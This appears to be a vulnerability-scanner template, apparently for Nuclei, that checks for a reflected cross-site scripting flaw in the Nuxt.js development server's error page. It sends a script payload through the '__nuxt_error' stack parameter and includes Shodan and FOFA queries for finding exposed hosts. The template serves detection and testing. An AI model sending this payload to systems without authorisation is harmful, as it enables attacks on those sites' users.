id: nuxt-js-xss

info:
  name: Nuxt.js Error Page - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    The developer server unsafely renders the stack trace within errors. This can be manipulated by sending a specially crafted request.
  reference:
    - https://huntr.dev/bounties/70ac720d-c932-4ed3-98b1-dd2cbcb90185/
    - https://bryces.io/blog/nuxt3
    - https://twitter.com/fofabot/status/1669339995780558849
  classification:
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"buildAssetsDir" "nuxt"
    fofa-query: body="buildAssetsDir" && body="__nuxt"
  tags: huntr,xss,nuxtjs,vuln

variables:
  payload: "<script>alert(document.domain)</script>"

http:
  - method: GET
    path:
      - "{{BaseURL}}/__nuxt_error?stack=%0A{{url_encode(payload)}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{payload}}"
          - "window.__NUXT__"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
# digest: 4a0a004730450220014429c035bf335959ad6015ee0b14baae26f5349944af9e844ffd9b6436c598022100e6506a27ff7cf777d1db191b99106bf6ebfc0bf11dbea78aeb169cad448be9a0:922c64590222798bb761d5b6d8e72950